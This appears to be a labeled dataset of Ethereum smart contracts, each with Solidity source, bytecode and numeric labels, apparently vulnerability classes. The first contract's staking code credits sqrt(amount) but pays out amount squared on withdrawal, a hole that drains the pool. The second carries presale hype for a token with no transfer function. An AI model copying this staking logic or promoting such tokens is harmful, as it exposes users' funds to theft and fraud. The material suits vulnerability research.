Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier * available, which can be aplied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor() internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require( localCounter == _guardCounter, "ReentrancyGuard: reentrant call" ); } } interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); // Mutative functions function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Collection of functions related to the address type, */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function NewOwner(address _owner) external onlyOwner { owner = _owner; emit OwnerChanged(owner, _owner); } modifier onlyOwner { require( msg.sender == owner, "Only the contract owner may perform this action" ); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // https://docs.synthetix.io/contracts/RewardsDistributionRecipient abstract contract RewardsDistributionRecipient is Owned { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external virtual; modifier onlyRewardsDistribution() { require( msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract" ); _; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { rewardsDistribution = _rewardsDistribution; } } contract TokenWrapper is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public stakingToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address _stakingToken) public { stakingToken = IERC20(_stakingToken); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public virtual nonReentrant { _totalSupply = _totalSupply.add(sqrt(amount)); _balances[msg.sender] = _balances[msg.sender].add(sqrt(amount)); stakingToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public virtual nonReentrant { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount**2); } function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } contract SRewards is TokenWrapper, RewardsDistributionRecipient { IERC20 public rewardsToken; uint256 public constant DURATION = 14 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); constructor( address _owner, address _rewardsToken, address _stakingToken ) public TokenWrapper(_stakingToken) Owned(_owner) { rewardsToken = IERC20(_rewardsToken); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public override updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); super.stake((amount)); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } }
0x608060405234801561001057600080fd5b50600436106101575760003560e01c806372f702f3116100c3578063c8f33c911161007c578063c8f33c911461030f578063cd3daf9d14610317578063d1af0c7d1461031f578063df136d6514610327578063e9fad8ee1461032f578063ebe2b12b1461033757610157565b806372f702f3146102ac5780637b0a47ee146102b457806380faa57d146102bc5780638b876347146102c45780638da5cb5b146102ea578063a694fc3a146102f257610157565b80633c6b16ab116101155780633c6b16ab1461020f5780633d18b9121461022c5780633edd90e7146102345780633fc6df6e1461025a57806353a47bb71461027e57806370a082311461028657610157565b80628cc2621461015c5780630700037d1461019457806318160ddd146101ba57806319762143146101c25780631be05289146101ea5780632e1a7d4d146101f2575b600080fd5b6101826004803603602081101561017257600080fd5b50356001600160a01b031661033f565b60408051918252519081900360200190f35b610182600480360360208110156101aa57600080fd5b50356001600160a01b03166103c7565b6101826103d9565b6101e8600480360360208110156101d857600080fd5b50356001600160a01b03166103e0565b005b61018261044b565b6101e86004803603602081101561020857600080fd5b5035610452565b6101e86004803603602081101561022557600080fd5b5035610539565b6101e86106a3565b6101e86004803603602081101561024a57600080fd5b50356001600160a01b0316610775565b61026261081f565b604080516001600160a01b039092168252519081900360200190f35b61026261082e565b6101826004803603602081101561029c57600080fd5b50356001600160a01b031661083d565b610262610858565b610182610867565b61018261086d565b610182600480360360208110156102da57600080fd5b50356001600160a01b0316610880565b610262610892565b6101e86004803603602081101561030857600080fd5b50356108a1565b610182610985565b61018261098b565b6102626109df565b6101826109ee565b6101e86109f4565b610182610a0f565b6001600160a01b0381166000908152600d6020908152604080832054600c9092528220546103bf91906103b390670de0b6b3a7640000906103a7906103929061038661098b565b9063ffffffff610a1516565b61039b8861083d565b9063ffffffff610a7716565b9063ffffffff610ad716565b9063ffffffff610b4116565b90505b919050565b600d6020526000908152604090205481565b6002545b90565b6004546001600160a01b031633146104295760405162461bcd60e51b815260040180806020018281038252602f815260200180610fbc602f913960400191505060405180910390fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6212750081565b3361045b61098b565b600b5561046661086d565b600a556001600160a01b038116156104ad576104818161033f565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b600082116104f6576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b6104ff82610b9b565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6006546001600160a01b031633146105825760405162461bcd60e51b815260040180806020018281038252602a81526020018061100c602a913960400191505060405180910390fd5b600061058c61098b565b600b5561059761086d565b600a556001600160a01b038116156105de576105b28161033f565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6008544210610602576105fa826212750063ffffffff610ad716565b600955610650565b600854600090610618904263ffffffff610a1516565b9050600061063160095483610a7790919063ffffffff16565b905061064a621275006103a7868463ffffffff610b4116565b60095550505b42600a819055610669906212750063ffffffff610b4116565b6008556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a15050565b336106ac61098b565b600b556106b761086d565b600a556001600160a01b038116156106fe576106d28161033f565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b60006107093361033f565b9050801561077157336000818152600d602052604081205560075461073a916001600160a01b039091169083610c61565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050565b6004546001600160a01b031633146107be5760405162461bcd60e51b815260040180806020018281038252602f815260200180610fbc602f913960400191505060405180910390fd5b600480546001600160a01b0319166001600160a01b038381169182179283905560408051939091168352602083019190915280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a150565b6006546001600160a01b031681565b6005546001600160a01b031681565b6001600160a01b031660009081526003602052604090205490565b6001546001600160a01b031681565b60095481565b600061087b42600854610cb8565b905090565b600c6020526000908152604090205481565b6004546001600160a01b031681565b336108aa61098b565b600b556108b561086d565b600a556001600160a01b038116156108fc576108d08161033f565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b60008211610942576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b61094b82610cce565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600a5481565b60006109956103d9565b6109a25750600b546103dd565b61087b6109d06109b06103d9565b6103a7670de0b6b3a764000061039b60095461039b600a5461038661086d565b600b549063ffffffff610b4116565b6007546001600160a01b031681565b600b5481565b610a05610a003361083d565b610452565b610a0d6106a3565b565b60085481565b600082821115610a6c576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b600082610a8657506000610a71565b82820282848281610a9357fe5b0414610ad05760405162461bcd60e51b8152600401808060200182810382526021815260200180610feb6021913960400191505060405180910390fd5b9392505050565b6000808211610b2d576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b6000828481610b3857fe5b04949350505050565b600082820183811015610ad0576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000805460010190819055600254610bb9908363ffffffff610a1516565b60025533600090815260036020526040902054610bdc908363ffffffff610a1516565b33600081815260036020526040902091909155600154610c0b916001600160a01b03909116906002850a610c61565b6000548114610771576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610cb3908490610d4c565b505050565b6000818310610cc75781610ad0565b5090919050565b6000805460010190819055610cf4610ce583610f0a565b6002549063ffffffff610b4116565b600255610d1f610d0383610f0a565b336000908152600360205260409020549063ffffffff610b4116565b33600081815260036020526040902091909155600154610c0b916001600160a01b03909116903085610f5b565b610d5e826001600160a01b0316610fb5565b610daf576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610ded5780518252601f199092019160209182019101610dce565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610e4f576040519150601f19603f3d011682016040523d82523d6000602084013e610e54565b606091505b509150915081610eab576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610f0457808060200190516020811015610ec757600080fd5b5051610f045760405162461bcd60e51b815260040180806020018281038252602a815260200180611036602a913960400191505060405180910390fd5b50505050565b60006003821115610f4d575080600160028204015b81811015610f4757809150600281828581610f3657fe5b040181610f3f57fe5b049050610f1f565b506103c2565b81156103c257506001919050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610f04908590610d4c565b3b15159056fe4f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742052657761726473446973747269627574696f6e20636f6e74726163745361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212208e2e06fcb0c543b07216799c3285c8bc5367d889dc357d5e3d00773b4141d85264736f6c63430006080033
[ 4, 7 ]
0xf293b7642959a9881179878d8d927cf0684dd46e
/** SPDX-License-Identifier: MIT β–ˆβ–ˆβ–ˆβ–ˆβ”€β–ˆβ”€β”€β–ˆβ”€β–ˆβ”€β–ˆβ”€β–ˆβ–ˆβ–ˆβ–ˆβ”€β”€β–ˆβ–ˆβ–ˆβ”€β–ˆβ–ˆβ–ˆβ”€β”€β”€β”€β–ˆβ–ˆβ–ˆβ”€β–ˆβ”€β”€β–ˆβ”€β–ˆβ”€β–ˆ β–ˆβ”€β”€β–ˆβ”€β–ˆβ–ˆβ”€β–ˆβ”€β–ˆβ”€β–ˆβ”€β–ˆβ”€β”€β–ˆβ–ˆβ”€β”€β–ˆβ”€β”€β–ˆβ”€β”€β”€β”€β”€β”€β”€β–ˆβ”€β”€β–ˆβ–ˆβ”€β–ˆβ”€β–ˆβ”€β–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ”€β–ˆβ”€β–ˆβ–ˆβ”€β–ˆβ”€β–ˆβ”€β–ˆβ–ˆβ–ˆβ–ˆβ”€β”€β”€β–ˆβ”€β”€β–ˆβ–ˆβ–ˆβ”€β”€β”€β”€β”€β–ˆβ”€β”€β–ˆβ”€β–ˆβ–ˆβ”€β–ˆβ”€β–ˆ β–ˆβ”€β”€β–ˆβ”€β–ˆβ”€β”€β–ˆβ”€β–ˆβ”€β–ˆβ”€β–ˆβ”€β”€β–ˆβ–ˆβ”€β”€β–ˆβ”€β”€β”€β”€β–ˆβ”€β”€β”€β”€β”€β–ˆβ”€β”€β–ˆβ”€β”€β–ˆβ”€β–ˆβ”€β–ˆ β–ˆβ”€β”€β–ˆβ”€β–ˆβ”€β”€β–ˆβ”€β–ˆβ–ˆβ–ˆβ”€β–ˆβ–ˆβ–ˆβ–ˆβ”€β”€β–ˆβ–ˆβ–ˆβ”€β–ˆβ–ˆβ–ˆβ”€β”€β”€β”€β–ˆβ–ˆβ–ˆβ”€β–ˆβ”€β”€β–ˆβ”€β–ˆβ–ˆβ–ˆ β†˜οΈ Website: https://anubis-inu.io β†˜οΈ TG: https://t.me/AnubisPortal β†˜οΈ Twitter: https://twitter.com/Anubis_Inu ℹ️ Tokenomic - Token Name: Anubis Inu - Token Symbol: $ANBS - Total Supply: 1 000 000 000 - Liquidity: 50% - Presale: 45% - Airdrop: 5% - Marketing TAX: 4% - Team TAX: 1% * Our Goals We want to protect our users and save them from problems with regulatory authorities, scammers and blocking on exchanges. Our team prepares the most reliable crypto wallet and creates a digital environment where there is no place for fraudulent activity. * Why the Anubis Inu? We analyze many cryptocurrencies Our smart system analyzes BTC, ETH, LTC, BCH, XRP, ETC and more. Global checkEach address is checked against several bases at once. Our databases are updated regularly, so our checks are the most accurate.Anonymity is guaranteed!We do not collect or store data about you or your activities. All data is protected and any checks are anonymous. Within a week, our developers will be ready to launch the project. We are waiting for private pre-sales, airdrops and launch! Invite your friends, it will be a global project! https://t.me/AnubisPortal */ pragma solidity ^0.8.7; contract READ_THE_PRIVATE_CONTRACT { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806306fdde031461006757806318160ddd14610085578063313ce5671461009c57806370a08231146100a457806395d89b41146100c4578063dd62ed3e146100cc575b600080fd5b61006f6100f7565b60405161007c9190610203565b60405180910390f35b61008e60025481565b60405190815260200161007c565b61008e601281565b61008e6100b23660046101ae565b60006020819052908152604090205481565b61006f610185565b61008e6100da3660046101d0565b600160209081526000928352604080842090915290825290205481565b6003805461010490610258565b80601f016020809104026020016040519081016040528092919081815260200182805461013090610258565b801561017d5780601f106101525761010080835404028352916020019161017d565b820191906000526020600020905b81548152906001019060200180831161016057829003601f168201915b505050505081565b6004805461010490610258565b80356001600160a01b03811681146101a957600080fd5b919050565b6000602082840312156101c057600080fd5b6101c982610192565b9392505050565b600080604083850312156101e357600080fd5b6101ec83610192565b91506101fa60208401610192565b90509250929050565b600060208083528351808285015260005b8181101561023057858101830151858201604001528201610214565b81811115610242576000604083870101525b50601f01601f1916929092016040019392505050565b600181811c9082168061026c57607f821691505b6020821081141561028d57634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212200ce55b4f21b25c8d0a04831fe3117d94de1e753c133a8c06872cee42c780a45f64736f6c63430008070033
[ 2 ]
0xf293d23bf2cdc05411ca0eddd588eb1977e8dcd4
pragma solidity ^0.4.15; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract SafeMath { function safeSub(uint a, uint b) pure internal returns (uint) { sAssert(b <= a); return a - b; } function safeAdd(uint a, uint b) pure internal returns (uint) { uint c = a + b; sAssert(c>=a && c>=b); return c; } function sAssert(bool assertion) pure internal { if (!assertion) { revert(); } } } contract ERC20 { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function allowance(address owner, address spender) public constant returns (uint); function transfer(address to, uint value) public returns (bool ok); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StandardToken is ERC20, SafeMath { mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function transfer(address _to, uint _value) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract SyloToken is Ownable, StandardToken { string public name = "Sylo"; string public symbol = "SYLO"; uint public decimals = 18; uint public totalSupply = 10000000000 ether; function SyloToken() { balances[msg.sender] = totalSupply; } function () public { } function transferOwnership(address _newOwner) public onlyOwner { balances[_newOwner] = safeAdd(balances[owner], balances[_newOwner]); balances[owner] = 0; Ownable.transferOwnership(_newOwner); } function transferAnyERC20Token(address tokenAddress, uint amount) public onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, amount); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c9578063095ea7b31461015957806318160ddd146101be57806323b872dd146101e9578063313ce5671461026e57806370a08231146102995780638da5cb5b146102f057806395d89b4114610347578063a9059cbb146103d7578063dc39d06d1461043c578063dd62ed3e146104a1578063f2fde38b14610518575b3480156100c657600080fd5b50005b3480156100d557600080fd5b506100de61055b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011e578082015181840152602081019050610103565b50505050905090810190601f16801561014b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016557600080fd5b506101a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105f9565b604051808215151515815260200191505060405180910390f35b3480156101ca57600080fd5b506101d36106eb565b6040518082815260200191505060405180910390f35b3480156101f557600080fd5b50610254600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f1565b604051808215151515815260200191505060405180910390f35b34801561027a57600080fd5b50610283610986565b6040518082815260200191505060405180910390f35b3480156102a557600080fd5b506102da600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098c565b6040518082815260200191505060405180910390f35b3480156102fc57600080fd5b506103056109d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035357600080fd5b5061035c6109fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039c578082015181840152602081019050610381565b50505050905090810190601f1680156103c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e357600080fd5b50610422600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a98565b604051808215151515815260200191505060405180910390f35b34801561044857600080fd5b50610487600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c21565b604051808215151515815260200191505060405180910390f35b3480156104ad57600080fd5b50610502600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d85565b6040518082815260200191505060405180910390f35b34801561052457600080fd5b50610559600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e0c565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105f15780601f106105c6576101008083540402835291602001916105f1565b820191906000526020600020905b8154815290600101906020018083116105d457829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60075481565b600080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506107bc600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610fc5565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610848600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610fef565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108958184610fef565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f